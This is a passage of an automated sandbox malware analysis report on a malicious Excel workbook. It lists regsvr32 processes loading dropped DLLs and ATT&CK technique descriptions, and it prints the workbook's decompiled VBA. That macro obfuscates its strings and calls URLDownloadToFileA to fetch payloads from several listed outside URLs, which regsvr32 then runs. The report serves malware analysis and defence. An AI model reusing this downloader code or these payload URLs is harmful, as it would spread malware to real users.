Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2852 Parent PID: 552

General

Start time:	16:13:02
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2848 Parent PID: 2852

General

Start time:	16:13:02
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2428 Parent PID: 552

General

Start time:	16:13:03
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2424 Parent PID: 2428

General

Start time:	16:13:04
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2400 Parent PID: 552

General

Start time:	16:13:06
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2372 Parent PID: 2400

General

Start time:	16:13:10
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\ogsit.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2536 Parent PID: 552

General

Start time:	16:14:02
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\luwbghnz.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2408 Parent PID: 552

General

Start time:	16:14:02
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2608 Parent PID: 552

General

Start time:	16:14:05
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 1428 Parent PID: 2608

General

Start time:	16:14:06
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2456 Parent PID: 552

General

Start time:	16:14:06
Start date:	20/01/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Imagebase:	0xfff30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 856 Parent PID: 2456

General

Start time:	16:14:13
Start date:	20/01/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Imagebase:	0xfa0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Module1

Declaration

Line	Content
1	Attribute VB_Name = "Module1"
2	#if VBA7 And Win64 then
3	Private Declare PtrSafe Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA"(ByVal pCaller as LongPtr, ByVal szURL as String, ByVal szFileName as String, ByVal dwReserved as LongPtr, ByVal lpfnCB as LongPtr) as Long
11	#else
12	Private Declare Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA"(ByVal pCaller as Long, ByVal szURL as String, ByVal szFileName as String, ByVal dwReserved as Long, ByVal lpfnCB as Long) as Long
20	#endif

Executed Functions

Function mi_1, APIs: 17, Strings: 4, Number of lines: 24, Relevance: 56.024

APIs	Meta Information
Cells
Split
Split
UBound
LBound
Cells
Run	Run("forsS_mo") Run("forsS_mo")
Part of subcall function gogog@Module1: SpecialCells
Part of subcall function gogog@Module1: xlCellTypeConstants
Part of subcall function gogog@Module1: SpecialCells
Part of subcall function gogog@Module1: xlCellTypeConstants
urlmon!URLDownloadToFileA	urlmon!URLDownloadToFileA(0,"http://trainingzoneatlanta.com/u49wl9p.zip","C:\Users\Albus\AppData\Local\Temp\\zsijkwsd.dll",0,0) urlmon!URLDownloadToFileA(0,"http://panther-hosting.co.uk/treurjrq.zip","C:\Users\Albus\AppData\Local\Temp\\ogsit.dll",0,0) urlmon!URLDownloadToFileA(0,"http://love.ivpr.org/u1oqp2.rar","C:\Users\Albus\AppData\Local\Temp\\ogsit.dll",0,0) urlmon!URLDownloadToFileA(0,"http://laureys.be/uzssv27.rar","C:\Users\Albus\AppData\Local\Temp\\ogsit.dll",0,0) urlmon!URLDownloadToFileA(0,"http://pmglance.startwriteup.com/vvx5qo7.zip","C:\Users\Albus\AppData\Local\Temp\\ogsit.dll",0,0) urlmon!URLDownloadToFileA(0,"http://urguru.paulhugh.es/f77i5e.zip","C:\Users\Albus\AppData\Local\Temp\\zlgzuxvz.dll",0,0) urlmon!URLDownloadToFileA(0,"http://bys.anupdave.com/ola8fcfh.zip","C:\Users\Albus\AppData\Local\Temp\\zlgzuxvz.dll",0,0)
Part of subcall function homedep@Module1: Int
Part of subcall function homedep@Module1: UBound
Part of subcall function homedep@Module1: Rnd
Split
Clear

Strings	Decrypted Strings
"="
"="
"="
"A1:B5"

Line	Instruction	Meta Information
40	Function mi_1(optional wq as Integer) as Integer
41	Dim O as Integer	executed
41	Dim Oa as Integer
41	ol = 1
42	Sheets(ol).Cells(ellysio, ol).Name = oo2 & "mo"	Cells
43	govs = sb_t
44	Oa = 9
44	kij = Split(govs, "=")	Split
44	Ada = Split(kij(ol), redline(ellysio))	Split
45	aa = 2
47	For u = 1 To UBound(Ada) - LBound(Ada) + 1	UBound LBound
48	On Error Resume Next
49	Sheets(ol).Cells(aa, ol).value = "=" & Ada(u)	Cells
50	Run (oo2 & "mo")	Run("forsS_mo") executed
51	If u = 13 Then
51	directoo = gogog
51	Endif
52	If u = 15 Then
53	fillename = gogog
54	P_Click_Box 0, homedep(Split(kij(0), redline(Oa))), directoo & "\" & fillename, 0, 0	urlmon!URLDownloadToFileA(0,"http://trainingzoneatlanta.com/u49wl9p.zip","C:\Users\Albus\AppData\Local\Temp\\zsijkwsd.dll",0,0) Split executed
55	Endif
56	Next	UBound LBound
57	Sheets(ol).Range("A1:B5").Clear	Clear
58	End Function

Function hokkkk, APIs: 7, Strings: 0, Number of lines: 16, Relevance: 8.766

APIs	Meta Information
SpecialCells
xlCellTypeConstants
Split
StrConv
Chr
Chr
Asc

Line	Instruction	Meta Information
28	Function hokkkk(s, j as Integer)
29	If j > 5 Then	executed
29	jj = 1
29	Else
29	jj = - 1
29	Endif
30	For Each u in Sheets(s).UsedRange.SpecialCells(xlCellTypeConstants)	SpecialCells xlCellTypeConstants
30	m = u
30	Next	SpecialCells xlCellTypeConstants
31	v1 = Split(StrConv(m, 64), Chr(0))	Split StrConv Chr
31	For Each vv1 in v1
31	On Error Resume Next
31	k = k & Chr(Asc(vv1) + jj)	Chr Asc
31	Next
31	hokkkk = k
32	End Function

Function sb_t, APIs: 7, Strings: 0, Number of lines: 3, Relevance: 8.753

APIs	Meta Information
Part of subcall function hokkkk@Module1: SpecialCells
Part of subcall function hokkkk@Module1: xlCellTypeConstants
Part of subcall function hokkkk@Module1: Split
Part of subcall function hokkkk@Module1: StrConv
Part of subcall function hokkkk@Module1: Chr
Part of subcall function hokkkk@Module1: Chr
Part of subcall function hokkkk@Module1: Asc

Line	Instruction	Meta Information
24	Function sb_t()
25	sb_t = hokkkk(4, 4) & hokkkk(3, 55)	executed
26	End Function

Function gogog, APIs: 2, Strings: 1, Number of lines: 3, Relevance: 4.503

APIs	Meta Information
SpecialCells
xlCellTypeConstants

Strings	Decrypted Strings
"B1:B5"

Line	Instruction	Meta Information
66	Function gogog()
67	gogog = Sheets(1).Range("B1:B5").SpecialCells(xlCellTypeConstants)	SpecialCells xlCellTypeConstants executed
68	End Function

Function redline, APIs: 0, Strings: 3, Number of lines: 6, Relevance: 3.756

Strings	Decrypted Strings
"$"
"]"
"]"

Line	Instruction	Meta Information
36	Function redline(yel as Integer)
37	redline = "$"	executed
38	If yel = 2 Then
38	redline = "]"
38	Endif
39	End Function

Function homedep, APIs: 3, Strings: 0, Number of lines: 5, Relevance: 3.755

APIs	Meta Information
Int
UBound
Rnd

Line	Instruction	Meta Information
62	Function homedep(nimo as Variant) as String
62	Randomize:	executed
63	df = 2 - 1
63	homedep = nimo(Int((UBound(nimo) + df) * Rnd))	Int UBound Rnd
64	End Function

Function oo2, APIs: 0, Strings: 1, Number of lines: 3, Relevance: 1.253

Strings	Decrypted Strings
"forsS_"

Line	Instruction	Meta Information
59	Function oo2()
60	oo2 = "forsS_"	executed
61	End Function

Function ellysio, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 0.003

Line	Instruction	Meta Information
33	Function ellysio()
34	ellysio = 5 - 3	executed
35	End Function

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True
9	Attribute VB_Control = "vbox1_cli, 1, 0, MSForms, Frame"

Executed Functions

Subroutine vbox1_cli_Layout, APIs: 10, Strings: 0, Number of lines: 5, Relevance: 16.505

APIs	Meta Information
Part of subcall function mi_1@Module1: Cells
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: UBound
Part of subcall function mi_1@Module1: LBound
Part of subcall function mi_1@Module1: Cells
Part of subcall function mi_1@Module1: Run
Part of subcall function mi_1@Module1: P_Click_Box
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: Clear

Line	Instruction	Meta Information
13	Private Sub vbox1_cli_Layout()
14	t = 6	executed
14	t = t * t
14	mi_1
15	End Sub

Non-Executed Functions

Subroutine Resize1Pages6, APIs: 10, Strings: 0, Number of lines: 3, Relevance: 12.503

APIs	Meta Information
Part of subcall function mi_1@Module1: Cells
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: UBound
Part of subcall function mi_1@Module1: LBound
Part of subcall function mi_1@Module1: Cells
Part of subcall function mi_1@Module1: Run
Part of subcall function mi_1@Module1: P_Click_Box
Part of subcall function mi_1@Module1: Split
Part of subcall function mi_1@Module1: Clear

Line	Instruction	Meta Information
10	Sub Resize1Pages6()
11	mi_1
12	End Sub

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report printouts of outstanding as of 01_20_2021.xlsm

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/342170/sample/printouts of outstanding as of 01_20_2021.xlsm"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 5186

General

VBA Code Keywords

VBA Code

VBA File Name: Sheet1.cls, Stream Size: 1479

General

VBA Code Keywords

VBA Code

VBA File Name: Sheet2.cls, Stream Size: 991

General

VBA Code Keywords

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General